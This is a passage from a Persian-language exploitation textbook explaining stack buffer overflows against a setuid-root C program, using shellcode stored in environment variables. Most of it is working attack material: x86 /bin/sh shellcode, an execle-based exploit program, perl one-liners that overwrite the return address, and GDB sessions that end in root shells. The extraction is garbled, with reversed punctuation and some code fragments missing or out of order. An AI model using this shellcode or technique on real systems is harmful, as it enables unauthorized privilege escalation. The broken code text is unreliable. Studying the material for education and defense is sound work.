)ﺗﻌﺪاد آدرس ﻫﺎی ﺑﺮﮔﺸﺖ( ) = 88ﻃﻮل آدرس ﺑﺮﮔﺸﺖ( ) / 4ﻓﻀﺎی آدرس ﺑﺮﮔﺸﺖ( 352
31
)][int main(int argc, char *argv
{
;]char buffer[5
;)]strcpy(buffer, argv[1
;return 0
}
در زﯾﺮ ﮐﺪ vuln2.cﮐﺎﻣﭙﺎﯾﻞ ﺷﺪه و ﺑﺮای اﯾﻨﮑﻪ ﺑﻪ درﺳﺘﯽ آﺳﯿﺐ ﭘﺬﯾﺮ ﮔﺮدد ﻣﺠﻮز suidﺑﻪ آن داده ﺷﺪه اﺳﺖ:
$ gcc -o vuln2 vuln2.c
$ sudo chown root.root vuln2
$ sudo chmod u+s vuln2
ﭼﻮن اﻧﺪازه ﺑﺎﻓﺮ در vuln2ﺗﻨﻬﺎ 5ﺑﺎﯾﺖ اﺳﺖ ،ﻓﻀﺎﯾﯽ ﺑﺮای اﺿـﺎﻓﻪ ﮐـﺮدن ﺷـﻞ-ﮐـﺪ وﺟـﻮد ﻧـﺪارد؛ ﻟـﺬا ﺑﺎﯾـﺪ در ﺟـﺎی
دﯾﮕﺮی ذﺧﯿﺮه ﺷﻮد .ﯾﮏ ﻣﮑﺎن ﻣﻨﺎﺳﺐ ﺟﻬﺖ ﻧﮕﻬﺪاری ﺷﻞ-ﮐﺪ ،ﯾﮏ ﻣﺘﻐﯿﺮ ﻣﺤﯿﻄﯽ اﺳﺖ.
ﺗﺎﺑﻊ )( execlدر ﮐﺪ exploit.cﮐﻪ ﺟﻬﺖ اﺟﺮای ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ ﺑﻪ ﻫﻤﺮاه ﺑﺎﻓﺮ ﺷﻨﺎور در اوﻟﯿﻦ اﮐﺴﭙﻠﻮﯾﺖ اﺳﺘﻔﺎده
ﺷﺪ ،ﯾﮏ ﺗﺎﺑﻊ ﻫﻢ ﺧﺎﻧﻮاده ﺑﻪ ﻧﺎم )( execleﻫﻢ دارد .اﯾﻦ ﺗﺎﺑﻊ ﯾﮏ آرﮔﻮﻣﺎن اﺿﺎﻓﯽ دارد ﮐﻪ ﻧﺸﺎن دﻫﻨﺪه ﻣﺤﯿﻄﯽ اﺳـﺖ
ﮐﻪ ﭘﺮوﺳﻪ در ﺣﺎل اﺟﺮا ﺑﺎﯾﺪ ﺗﺤﺖ آن اﺟﺮا ﺷﻮد .ﻫﺮ ﻣﺘﻐﯿﺮ ﻣﺤﯿﻄﯽ در اﯾﻦ ﻣﺤﯿﻂ ﺑـﻪ ﺷـﮑﻞ آراﯾـﻪ ای از اﺷـﺎرﮔﺮﻫﺎ ﺑـﻪ
رﺷﺘﻪ ﻫﺎی ﭘﺎﯾﺎن ﯾﺎﻓﺘﻪ ﺑﺎ ﺑﺎﯾﺖ ﭘﻮچ اﺳﺖ و ﺧﻮد آراﯾﻪ ﻣﺤﯿﻄﯽ ﺑﺎ ﯾﮏ اﺷﺎرﮔﺮ ﭘﻮچ ﭘﺎﯾﺎن ﻣﯽ ﯾﺎﺑﺪ.
ﯾﻌﻨﯽ ﻣﯽ ﺗﻮان ﻣﺤﯿﻄﯽ را ﺑﺎ آراﯾﻪ ای از اﺷﺎرﮔﺮ ﻫﺎ ﺳﺎﺧﺖ ﮐﻪ ﺣﺎوی ﺷﻞ-ﮐﺪ ﺑﺎﺷﺪ ،ﺑﻪ اﯾﻦ ﺻﻮرت ﮐﻪ اوﻟﯿﻦ اﺷـﺎرﮔﺮ ﺑـﻪ
ﺷﻞ-ﮐﺪ و دوﻣﯿﻦ اﺷﺎرﮔﺮ ﯾﮏ اﺷﺎرﮔﺮ ﭘﻮچ ﺧﻮاﻫﺪ ﺑﻮد .ﺳﭙﺲ ﺗﺎﺑﻊ )( execleرا ﻣﯽ ﺗﻮان ﺟﻬﺖ اﺟـﺮای دوﻣـﯿﻦ ﺑﺮﻧﺎﻣـﻪ
آﺳﯿﺐ ﭘﺬﯾﺮ )ﮐﻪ آدرس ﺑﺮﮔﺸﺖ را ﺑﺎ آدرس ﺷﻞ-ﮐﺪ ﺟﺎﯾﻨﻮﯾﺴﯽ ﻣﯽ ﮐﻨﺪ( ﺑﺎ اﯾﻦ ﻣﺤـﯿﻂ ﻓﺮاﺧـﻮاﻧﯽ ﮐـﺮد .ﺧﻮﺷـﺒﺨﺘﺎﻧﻪ
آدرس ﯾﮏ ﻣﺘﻐﯿﺮ درﺧﻮاﺳﺖ ﺷﺪه در اﯾـﻦ ﺣﺎﻟـﺖ را ﻣـﯽ ﺗـﻮان ﺑﺮاﺣﺘـﯽ ﻣﺤﺎﺳـﺒﻪ ﮐـﺮد .در ﻟﯿﻨـﻮﮐﺲ آدرس ﺑﺮاﺑـﺮ ﺑـﺎ
0xbffffffaﻣﻨﻬﺎی ﻃﻮل ﻣﺤﯿﻂ ،ﻣﻨﻬﺎی ﻃﻮل ﻧﺎم ﺑﺮﻧﺎﻣﻪ اﺟﺮا ﺷﺪه اﺳﺖ:
ﻃﻮل ﻧﺎم ﺑﺮﻧﺎﻣﻪ -ﻃﻮل ﻣﺤﯿﻂ = 0xbffffffa -آدرس ﻣﺤﯿﻂ
ﭼﻮن در اﯾﻦ ﺣﺎﻟﺖ آدرس ﺗﻘﺮﯾﺒﯽ ﻧﯿﺴﺖ و ﺑﺮ اﺳﺎس ﻣﺤﺎﺳﺒﺎت ﮐﺎﻣﻼ دﻗﯿﻖ ﺑﻪ دﺳﺖ ﻣﯽ آﯾـﺪ ،ﻟـﺬا ﻧﯿـﺎزی ﺑـﻪ ﺳـﻮرﺗﻤﻪ
NOPﻧﯿﺴﺖ .ﻓﻘﻂ ﺟﻬﺖ ﺳﺮرﯾﺰ ﮐﺮدن آدرس ﺑﺮﮔﺸﺖ در ﭘﺸﺘﻪ ﺑﺎﯾﺪ آدرس ﺑﻪ اﻧﺪازه ﮐﺎﻓﯽ در ﺑﺎﻓﺮ اﮐﺴﭙﻠﻮﯾﺖ ﺗﮑﺮار
ﺷﺪه ﺑﺎﺷﺪ .در اﯾﻦ ﻣﺜﺎل ،ﭼﻬﻞ ﺑﺎﯾﺖ ﻋﺪد ﻧﺴﺒﺘﺎ ﻣﻨﺎﺳﺒﯽ ﺑﻪ ﻧﻈﺮ ﻣﯽ آﯾﺪ.
env_exploit.c code
>#include <stdlib.h
= ][char shellcode
""\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0
""\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d
""\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73
;""\x68
// Fill the entire buffer with the desired ret address
;ptr = buffer
;addr_ptr = (long *) ptr
)for(i=0; i < 40; i+=4
} ;{ *(addr_ptr++) = ret
// Now call the program ./vuln with our crafted buffer as its argument
// and using the environment env as its environment.
;)execle("./vuln2", "vuln2", buffer, 0, env
;return 0
}
در زﯾﺮ ﺧﺮوﺟﯽ ﺣﺎﺻﻞ از ﮐﺎﻣﭙﺎﯾﻞ و اﺟﺮای ﺑﺮﻧﺎﻣﻪ را ﻣﯽ ﺑﯿﻨﯿﺪ:
$ gcc -o env_exploit env_exploit.c
$ ./env_exploit
sh-2.05a# whoami
root
sh-2.05a#
اﻟﺒﺘﻪ ﻣﯽ ﺗﻮان اﯾﻦ ﺗﮑﻨﯿﮏ را ﺑﻪ ﺻﻮرت دﺳﺘﯽ در ﺧﺎرج از ﮐـﺪ اﮐـﺴﭙﻠﻮﯾﺖ ﻧﯿـﺰ ﺑﮑـﺎر ﺑـﺮد .در ﭘﻮﺳـﺘﻪ bashﻣـﯽ ﺗـﻮان
ﻣﺘﻐﯿﺮﻫﺎی ﻣﺤﯿﻄﯽ را ﺑﺎ دﺳـﺘﻮر " "export VARNAME=valueاﺳـﺘﺨﺮاج ﮐـﺮد .ﺑـﺎ اﺳـﺘﻔﺎده از دﺳـﺘﻮر exportو
اﺳﺘﻔﺎده از ﭘﺮل و ﭼﻨﺪ زوج از ﻋﻼﻣﺖ ﻫﺎی ﻧﻘﻞ ﻗﻮل ﻣﯽ ﺗﻮان ﺷﻞ-ﮐﺪ و ﺳﻮرﺗﻤﻪ NOPرا در ﻣﺤﯿﻂ ﻓﻌﻠﯽ ﻗﺮار داد:
'$ export SHELLCODE='perl -e 'print "\x90"x100;'"cat shellcode
ﮔﺎم ﺑﻌﺪی ﯾﺎﻓﺘﻦ آدرس اﯾﻦ ﻣﺘﻐﯿﺮ ﻣﺤﯿﻄﯽ اﺳﺖ .اﯾﻦ ﻋﻤﻞ را ﻣﯽ ﺗﻮان ﺑﺎ ﯾﮏ دﯾﺒﺎﮔﺮ ﻣﺜﻞ GDBﯾﺎ ﻧﻮﺷﺘﻦ ﯾﮏ ﺑﺮﻧﺎﻣـﻪ
ﮐﺎرﺑﺮدی ﮐﻮﭼﮏ اﻧﺠﺎم داد ﮐﻪ ﻣﺎ ﻫﺮ دو روش را ﺗﻮﺿﯿﺢ ﻣﯽ دﻫﯿﻢ.
ﻧﮑﺘﻪ اﺳﺘﻔﺎده از ﯾﮏ دﯾﺒﺎﮔﺮ ،ﺑﺎز ﮐﺮدن ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ و ﺗﻨﻈﯿﻢ ﯾﮏ ﻧﻘﻄـﻪ ﺗﻮﻗـﻒ ) (breakpointدر اﺑﺘـﺪای ﻓﺎﯾـﻞ
اﺳﺖ .اﯾﻨﮑﺎر ﺳﺒﺐ اﺟﺮای ﺑﺮﻧﺎﻣﻪ ﺷﺪه اﻣﺎ ﻗﺒﻞ از اﯾﻨﮑﻪ ﭼﯿﺰی ﻋﻤﻼ اﺗﻔﺎق ﺑﯿﻔﺘﺪ ،اﺟﺮا را ﻣﺘﻮﻗﻒ ﻣﯽ ﺳﺎزد .در اﯾـﻦ ﻟﺤﻈـﻪ
ﻣﯽ ﺗﻮان ﺣﺎﻓﻈﻪ را از ﺑﻌﺪ از اﺷﺎرﮔﺮ ﭘﺸﺘﻪ ﺑﺎ دﺳﺘﻮری در GDBﺑﻪ ﺻﻮرت x/20s $espﺑﺮرﺳﯽ ﮐﺮد .اﯾﻦ دﺳـﺘﻮر 20
رﺷﺘﻪ ﺣﺎﻓﻈﻪ ﭘﺲ از اﺷﺎرﮔﺮ ﭘﺸﺘﻪ را ﭼﺎپ ﻣﯽ ﮐﻨﺪ .ﮐـﺎراﮐﺘﺮ xدر دﺳـﺘﻮر ﺧﻼﺻـﻪ ی eXamineاﺳـﺖ و ﻋﺒـﺎرت 20s
ﻣﻮﺟﻮد در دﺳﺘﻮر ﻧﯿﺰ 20رﺷﺘﻪ ﭘﺎﯾﺎن ﯾﺎﻓﺘﻪ ﺑﺎ ﭘﻮچ را ﺗﻘﺎﺿﺎ ﻣﯽ ﮐﻨﺪ .ﻓﺸﺮدن ﮐﻠﯿـﺪ Enterﺑﻌـﺪ از اﺟـﺮای اﯾـﻦ دﺳـﺘﻮر
ﻣﺠﺪدا دﺳﺘﻮر ﻗﺒﻠﯽ را اداﻣﻪ ﻣﯽ دﻫﺪ و در ﻧﺘﯿﺠﻪ ارزش 20رﺷﺘﻪ ﺑﻌﺪی از ﺣﺎﻓﻈﻪ را ﺑﺮرﺳﯽ ﻣﯽ ﮐﻨﺪ .اﯾﻦ ﻓﺮآﯾﻨﺪ را ﻣﯽ
ﺗﻮان ﺗﺎ زﻣﺎن ﯾﺎﻓﺘﻦ ﻣﺘﻐﯿﺮ ﻣﺤﻠﯽ در ﺣﺎﻓﻈﻪ ﺗﮑﺮار ﮐﺮد.
در ﺧﺮوﺟﯽ زﯾﺮ ﺑﺮﻧﺎﻣﻪ vuln2ﺑﺎ GDBدﯾﺒﺎگ ﺷﺪه اﺳﺖ ﺗﺎ رﺷﺘﻪ ﻫﺎی ﻣﻮﺟـﻮد در ﺣﺎﻓﻈـﻪ ﭘـﺸﺘﻪ را ﺑـﻪ ﻣﻨﻈـﻮر ﯾـﺎﻓﺘﻦ
ﺷﻞ-ﮐﺪِ ذﺧﯿﺮه ﺷﺪه در ﻣﺘﻐﯿﺮ ﻣﺤﻠﯽ ) SHELLCODEﺑﻪ ﺻﻮرت درﺷﺖ ﻧﻤﺎ وﺟﻮد دارد( ﺑﺮرﺳﯽ ﮐﻨﺪ.
$ gdb vuln2
GNU gdb 5.2.1
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb) break main
Breakpoint 1 at 0x804833e
(gdb) run
Starting program: /hacking/vuln2
33
0xbffff904: "Tùÿ¿\\ùÿ¿\200\202\004\b"
0xbffff911: ""
0xbffff912: ""
0xbffff913: ""
0xbffff914: "P¢"
0xbffff917: "@\\C\024@TU\001@\001"
0xbffff922: ""
0xbffff923: ""
0xbffff924: "\200\202\004\b"
0xbffff929: ""
0xbffff92a: ""
0xbffff92b: ""
0xbffff92c: "¡\202\004\b8\203\004\b\001"
0xbffff936: ""
0xbffff937: ""
0xbffff938: "Tùÿ¿0\202\004\b \203\004\b\020***"
0xbffff947: "@Lùÿ¿'Z\001@\001"
(gdb)
0xbffff952: ""
0xbffff953: ""
0xbffff954: "eúÿ¿"
0xbffff959: ""
0xbffff95a: ""
0xbffff95b: ""
0xbffff95c:
"túÿ¿\201úÿ¿
úÿ¿Aúÿ¿xúÿ¿Yûÿ¿ïûÿ¿\035üÿ¿=üÿ¿\211üÿ¿¢üÿ¿Rüÿ¿Äüÿ¿Düÿ¿åüÿ¿\202yÿ¿\227yÿ
¿ yÿ¿Oyÿ¿óyÿ¿\002pÿ¿\npÿ¿-pÿ¿Upÿ¿\206pÿ¿\220pÿ¿\236pÿ¿ªpÿ¿Ipÿ¿xpÿ¿Uÿÿ¿"
0xbffff9d9: ""
0xbffff9da: ""
0xbffff9db: ""
0xbffff9dc: "\020"
0xbffff9de: ""
0xbffff9df: ""
0xbffff9e0: "ÿù\203\003\006"
0xbffff9e6: ""
0xbffff9e7: ""
0xbffff9e8: ""
0xbffff9e9: "\020"
0xbffff9eb: ""
0xbffff9ec: "\021"
(gdb)
0xbffff9ee: ""
0xbffff9ef: ""
0xbffff9f0: "d"
0xbffff9f2: ""
0xbffff9f3: ""
0xbffff9f4: "\003"
0xbffff9f6: ""
0xbffff9f7: ""
0xbffff9f8: "4\200\004\b\004"
0xbffff9fe: ""
0xbffff9ff: ""
0xbffffa00: " "
0xbffffa02: ""
0xbffffa03: ""
0xbffffa04: "\005"
0xbffffa06: ""
0xbffffa07: ""
0xbffffa08: "\006"
0xbffffa0a: ""
0xbffffa0b: ""
(gdb)
0xbffffa0c: "\a"
0xbffffa0e: ""
0xbffffa0f: ""
0xbffffa10: ""
34
0xbffffa11: ""
0xbffffa12: ""
0xbffffa13: "@\b"
0xbffffa16: ""
0xbffffa17: ""
0xbffffa18: ""
0xbffffa19: ""
0xbffffa1a: ""
0xbffffa1b: ""
0xbffffa1c: "\t"
0xbffffa1e: ""
0xbffffa1f: ""
0xbffffa20: "\200\202\004\b\v"
0xbffffa26: ""
0xbffffa27: ""
0xbffffa28: "è\003"
(gdb)
0xbffffa2b: ""
0xbffffa2c: "\f"
0xbffffa2e: ""
0xbffffa2f: ""
0xbffffa30: "è\003"
0xbffffa33: ""
0xbffffa34: "\r"
0xbffffa36: ""
0xbffffa37: ""
0xbffffa38: "d"
0xbffffa3a: ""
0xbffffa3b: ""
0xbffffa3c: "\016"
0xbffffa3e: ""
0xbffffa3f: ""
0xbffffa40: "d"
0xbffffa42: ""
0xbffffa43: ""
0xbffffa44: "\017"
0xbffffa46: ""
(gdb)
0xbffffa47: ""
0xbffffa48: "'úÿ¿"
0xbffffa4d: ""
0xbffffa4e: ""
0xbffffa4f: ""
0xbffffa50: ""
0xbffffa51: ""
0xbffffa52: ""
0xbffffa53: ""
0xbffffa54: ""
0xbffffa55: ""
0xbffffa56: ""
0xbffffa57: ""
0xbffffa58: ""
0xbffffa59: ""
0xbffffa5a: ""
0xbffffa5b: ""
0xbffffa5c: ""
0xbffffa5d: ""
0xbffffa5e: ""
(gdb)
0xbffffa5f: ""
0xbffffa60: "i686"
0xbffffa65: "/hacking/vuln2"
0xbffffa74: "PWD=/hacking"
0xbffffa81: "XINITRC=/etc/X11/xinit/xinitrc"
0xbffffaa0: "JAVAC=/opt/sun-jdk-1.4.0/bin/javac"
0xbffffac3: "PAGER=/usr/bin/less"
0xbffffad7: "SGML_CATALOG_FILES=/etc/sgml/sgml-ent.cat:/etc/sgml/sgml-
35
docbook.cat:/etc/sgml/openjade-1.3.1.cat:/etc/sgml/sgml-docbook-
3.1.cat:/etc/sgml/sgml-docbook-3.0.cat:/etc/sgml/dsssl-docbook-
stylesheets.cat:"...
0xbffffb9f: "/etc/sgml/sgml-docbook-4.0.cat:/etc/sgml/sgml-docbook-
4.1.cat"
0xbffffbdd: "HOSTNAME=overdose"
0xbffffbef: "CLASSPATH=/opt/sun-jdk-1.4.0/jre/lib/rt.jar:."
0xbffffc1d: "VIMRUNTIME=/usr/share/vim/vim61"
0xbffffc3d:
"MANPATH=/usr/share/man:/usr/local/share/man:/usr/X11R6/man:/opt/insight/ma
n"
0xbffffc89: "LESSOPEN=|lesspipe.sh %s"
0xbffffca2: "USER=matrix"
0xbffffcae: "MAIL=/var/mail/matrix"
0xbffffcc4: "CVS_RSH=ssh"
0xbffffcd0: "INPUTRC=/etc/inputrc"
0xbffffce5: "SHELLCODE=", '\220' <repeats 100 times>,
"1A°F1U1ÉI\200ë\026[1A\210C\a\211[\b\211C\f°\v\215K\b\215S\fI\200èåÿÿÿ/bin/
sh"
0xbffffd82: "EDITOR=/usr/bin/nano"
(gdb)
0xbffffd97: "CONFIG_PROTECT_MASK=/etc/gconf"
0xbffffdb6: "JAVA_HOME=/opt/sun-jdk-1.4.0"
0xbffffdd3: "SSH_CLIENT=10.10.10.107 3108 22"
0xbffffdf3: "LOGNAME=matrix"
0xbffffe02: "SHLVL=1"
0xbffffe0a: "MOZILLA_FIVE_HOME=/usr/lib/mozilla"
0xbffffe2d: "INFODIR=/usr/share/info:/usr/X11R6/info"
0xbffffe55: "SSH_CONNECTION=10.10.10.107 3108 10.10.11.110 22"
0xbffffe86: "_=/bin/sh"
0xbffffe90: "SHELL=/bin/sh"
0xbffffe9e: "JDK_HOME=/opt/sun-jdk-1.4.0"
0xbffffeba: "HOME=/home/matrix"
0xbffffecc: "TERM=linux"
0xbffffed7:
"PATH=/bin:/usr/bin:/usr/local/bin:/opt/bin:/usr/X11R6/bin:/opt/sun-
jdk-1.4.0/bin:/opt/sun-jdk-
1.4.0/jre/bin:/opt/insight/bin:.:/opt/j2re1.4.1/bin:/sbin:/usr/sbin:/usr/lo
cal/sbin
:/home/matrix/bin:/sbin"...
0xbfffff9f: ":/usr/sbin:/usr/local/sbin:/sbin:/usr/sbin:/usr/local/sbin"
0xbfffffda: "SSH_TTY=/dev/pts/1"
0xbfffffed: "/hacking/vuln2"
0xbffffffc: ""
0xbffffffd: ""
0xbffffffe: ""
(gdb) x/s 0xbffffce5
0xbffffce5: "SHELLCODE=", '\220' <repeats 100 times>,
"1A°F1U1ÉI\200ë\026[1A\210C\a\211[\b\211C\f°\v\215K\b\215S\fI\200èåÿÿÿ/bin/
sh"
(gdb) x/s 0xbffffcf5
0xbffffcf5: '\220' <repeats 94 times>,
"1A°F1U1ÉI\200ë\026[1A\210C\a\211[\b\211C\f°\v\215K\b\215S\fI\200èåÿÿÿ/bin/
sh"
(gdb) quit
The program is running. Exit anyway? (y or n) y
ﺻﺮﻓﺎ ﺑﺮای ﺑﺮرﺳﯽِ ﺗﻨﻬﺎ ﻫﻤﺎن رﺷـﺘﻪ اﺳـﺘﻔﺎده ﻣـﯽx/s از دﺳﺘﻮر،SHELLCODE ﭘﺲ از ﯾﺎﻓﺘﻦ آدرس ﻣﺘﻐﯿﺮ ﻣﺤﻠﯽ
ﺑﺎﯾﺖ ﺑﻪ آدرس اﺿﺎﻓﻪ ﻣـﯽ ﺷـﻮد16 ﻟﺬا، ﺑﺎﯾﺖ( ﻧﯿﺰ اﺳﺖ10) "SHELLCODE=" اﻣﺎ اﯾﻦ آدرس ﺷﺎﻣﻞ رﺷﺘﻪ.ﺷﻮد
ﻟـﺬا، ﻓـﻀﺎی ﻧـﺴﺒﺘﺎ ﻣﻨﺎﺳـﺒﯽ اﺳـﺖNOP ﺑﺎﯾﺖ در ﺳﻮرﺗﻤﻪ100 . را اراﺋﻪ دﻫﺪNOP ﺗﺎ آدرس ﻣﮑﺎﻧﯽ واﻗﻊ در ﺳﻮرﺗﻤﻪ
. ﺑﻠﮑﻪ ﯾﮏ ﺣﺪس ﺗﻘﺮﯾﺒﯽ ﮐﺎﻓﯽ اﺳﺖ،( ﺑﺎﯾﺖ16 ﻫﯿﭻ ﻧﯿﺎز ﺑﻪ دﻗﯿﻖ ﺑﻮدن آن آدرس ﻧﯿﺴﺖ )ﯾﻌﻨﯽ اﺿﺎﻓﻪ ﺷﺪن آن
36
دﯾﺒﺎﮔﺮ آدرس 0xbffffcf5را ﻧﺰدﯾﮏ اﺑﺘﺪای ﺳﻮرﺗﻤﻪ NOPﻧﺸﺎن داد و ﻣﻌﻠـﻮم ﺷـﺪ ﮐـﻪ ﺷـﻞ-ﮐـﺪ در ﻣﺘﻐﯿـﺮ ﻣﺤﻠـﯽ
SHELLCODEذﺧﯿﺮه ﺷﺪه اﺳﺖ .ﺑﺎ در اﺧﺘﯿﺎر داﺷﺘﻦ اﯾﻦ اﻃﻼﻋﺎت و اﺳﺘﻔﺎده از ﭘﺮل و ﯾﮏ زوج از ﻋﻼﻣﺖ ﻧﻘﻞ ﻗﻮل
ﻣﯽ ﺗﻮان ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ را ﺑﻪ ﺻﻮرت زﯾﺮ اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮد:
'';$ ./vuln2 'perl -e 'print "\xf5\xfc\xff\xbf"x10
sh-2.05a# whoami
root
sh-2.05a#
ﻣﺠﺪدا ﺑﺎﯾﺪ ﺳﺮﺣﺪِ ﺑﺎﯾﺖ ﻫﺎﯾﯽ را ﮐﻪ واﻗﻌﺎ در ﺑﺎﻓﺮ ﻧﯿﺎز ﻫـﺴﺘﻨﺪ ﺑـﻪ ﺳـﺮﻋﺖ ﺑﺮرﺳـﯽ ﮐـﺮد .آزﻣـﻮن ﻫـﺎ و ﺧﻄﺎﻫـﺎی زﯾـﺮ
ﮐﻤﺘﺮﯾﻦ ﻣﻘﺪار ﻣﻤﮑﻦ را ﺑﺮای ﺑﺎﻓﺮ ﮐﻪ ﻫﻨﻮز ﺑﺘﻮاﻧﺪ آدرس ﺑﺮﮔﺸﺖ را ﺟﺎﯾﻨﻮﯾﺴﯽ ﮐﻨﺪ 32 ،ﺑﺎﯾﺖ ﻧﺸﺎن ﻣﯽ دﻫﻨﺪ.
$ ./vuln2 'perl -e '';'print "\xf5\xfc\xff\xbf"x10
sh-2.05a# exit
$ ./vuln2 'perl -e '';'print "\xf5\xfc\xff\xbf"x9
sh-2.05a# exit
$ ./vuln2 'perl -e '';'print "\xf5\xfc\xff\xbf"x8
sh-2.05a# exit
$ ./vuln2 'perl -e '';'print "\xf5\xfc\xff\xbf"x7
Segmentation fault
$
روش دﯾﮕﺮ ﺑﺮای درﯾﺎﻓﺖ آدرس ﯾﮏ ﻣﺘﻐﯿﺮ ﻣﺤﻠﯽ ﻧﻮﺷﺘﻦ ﯾﮏ ﺑﺮﻧﺎﻣﻪ راﻫﻨﻤﺎی ﺳﺎده اﺳﺖ .اﯾـﻦ ﺑﺮﻧﺎﻣـﻪ ﻣـﯽ ﺗﻮاﻧـﺪ ﺑـﻪ
ﺳﺎدﮔﯽ از ﺗﺎﺑﻊ )( getenvﺑﺮای ﭘﯿﺪا ﮐﺮدن اوﻟﯿﻦ آرﮔﻮﻣﺎن ﺑﺮﻧﺎﻣﻪ در ﻣﺤﯿﻂ اﺳﺘﻔﺎده ﮐﻨﺪ .اﮔﺮ ﺑﺮﻧﺎﻣﻪ آرﮔﻮﻣـﺎن را ﭘﯿـﺪا
ﮐﻨﺪ ،آدرس آﻧﺮا ﭼﺎپ ﺧﻮاﻫﺪ ﮐﺮد و در ﻏﯿﺮ اﯾﻦ ﺻﻮرت ﺑﺎ ﯾﮏ ﭘﯿﺎم وﺿﻌﯿﺘﯽ ﺧﺎرج ﻣﯽ ﺷﻮد.
getenvaddr.c code
>#include <stdlib.h
37
آﻣﺎﺗﻮرﻫﺎﺳﺖ .در دﻧﯿﺎی اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﺑﺮﻧﺎﻣﻪ ﻫﺎ ﺗﻔﺎوت در داﻧﺴﺘﻦ ﻣﮑﺎن دﻗﯿﻖ ﯾﮏ ﭼﯿـﺰ در ﺣﺎﻓﻈـﻪ و ﺣـﺪس زدن
آن اﺳﺖ.
ﺑﺮای دﻗﯿﻖ ﺣﺪس زدن ﯾﮏ آدرس ﺣﺎﻓﻈﻪ ﺑﺎﯾﺪ ﺗﻔﺎوت ﻫﺎی ﻣﻮﺟﻮد در آدرس ﻫﺎ را ﮐﺸﻒ ﮐﺮد .ﺑﻪ ﻧﻈـﺮ ﻣـﯽ رﺳـﺪ ﮐـﻪ
ﻃﻮل ﻧﺎم ﺑﺮﻧﺎﻣﻪ ی در ﺣﺎل اﺟﺮا در آدرس ﻣﺘﻐﯿﺮﻫﺎی ﻣﺤﯿﻄﯽ ﺗﺎﺛﯿﺮ ﮔﺬار اﺳﺖ .اﯾﻦ ﺗﺎﺛﯿﺮ را ﻣﯽ ﺗﻮان ﺑﺎ ﺗﻐﯿﯿﺮ ﻧﺎم ﺑﺮﻧﺎﻣﻪ
راﻫﻨﻤﺎ و اِﻋﻤﺎل آزﻣﻮن و ﺧﻄﺎ ﻫﺮﭼﻪ ﺑﯿﺸﺘﺮ ﮐﺸﻒ ﮐﺮد .اﯾﻦ ﻧﻮع از ﻋﻤﻠﯿﺎت آزﻣﻮن و ﺧﻄﺎ و ﺗﺸﺨﯿﺺ اﻟﮕﻮ ﻣﻬﺎرت ﻣﻬﻤﯽ
ﺑﺮای ﯾﮏ ﻫﮑﺮ ﻣﺤﺴﻮب ﻣﯽ ﺷﻮد.
$ gcc -o a getenvaddr.c
$ ./a SHELLCODE
SHELLCODE is located at 0xbffffcfe
$ cp a bb
$ ./bb SHELLCODE
SHELLCODE is located at 0xbffffcfc
$ cp bb ccc
$ ./ccc SHELLCODE
SHELLCODE is located at 0xbffffcfa
ﻫﻤﺎﻧﻄﻮر ﮐﻪ آزﻣﺎﯾﺶ ﻗﺒﻠﯽ ﻧﺸﺎن داد ،ﻃﻮل ﻧﺎم ﺑﺮﻧﺎﻣﻪ درﺣﺎل اﺟﺮا در ﻣﮑﺎن ﻣﺘﻐﯿﺮﻫـﺎی ﻣﺤﯿﻄـﯽ اﺳـﺘﺨﺮاج ﺷـﺪه ﺗـﺎﺛﯿﺮ
ﮔﺬار اﺳﺖ .روﻧﺪ ﮐﻠﯽ اﯾﻦ ﻃﻮر ﺑﻪ ﻧﻈﺮ ﻣﯽ آﯾﺪ ﮐﻪ ﺑﺎ اﺿﺎﻓﻪ ﺷﺪن ﻫﺮ ﺑﺎﯾﺖ ﺑﻪ ﻃﻮل ﻧﺎم ﺑﺮﻧﺎﻣﻪ 2 ،ﺑﺎﯾـﺖ از آدرس ﻣﺘﻐﯿـﺮ
ﻣﺤﯿﻄﯽ ﮐﻢ ﻣﯽ ﺷﻮد .اﯾﻦ ﻣﺴﺌﻠﻪ در راﺑﻄﻪ ﺑﺎ ﻧﺎم ﺑﺮﻧﺎﻣﻪ ﻣﺎ ﯾﻌﻨﯽ getenvaddrﻧﯿﺰ ﺻﺎدق اﺳﺖ ،ﭼﻮن اﺧﺘﻼف ﻃـﻮل ﺑـﯿﻦ
ﻧﺎم ﻫﺎی ) getenvaddrﻧﺎم ﮐﺪ ﻣﻨﺒﻊ( و ﮐﺎراﮐﺘﺮ ) aﻧﺎم ﺑﺮﻧﺎﻣـﻪ ﺑـﺎﯾﻨﺮی( ﺑﺮاﺑـﺮ ﺑـﺎ 9ﺑﺎﯾـﺖ و اﺧـﺘﻼف ﺑـﯿﻦ آدرس ﻫـﺎی
0xbffffcfeو 0xbffffcecﻧﯿﺰ 18ﺑﺎﯾﺖ اﺳﺖ.
ﺑﺎ در اﺧﺘﯿﺎر داﺷﺘﻦ اﯾﻦ ﻧﮑﺎت ﻣﯽ ﺗﻮان ﺑﻪ ﻫﻨﮕﺎم اﺟﺮای ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ ،آدرس دﻗﯿﻖ ﻣﺘﻐﯿـﺮ ﻣﺤﻠـﯽ را ﭘـﯿﺶ ﺑﯿﻨـﯽ
ﮐﺮد .ﯾﻌﻨﯽ ﻣﯽ ﺗﻮان وﺟﻮد ﺳﻮرﺗﻤﻪ NOPرا ﺣﺬف ﮐﺮد.
'$ export SHELLCODE='cat shellcode
$ ./getenvaddr SHELLCODE
SHELLCODE is located at 0xbffffd50
$
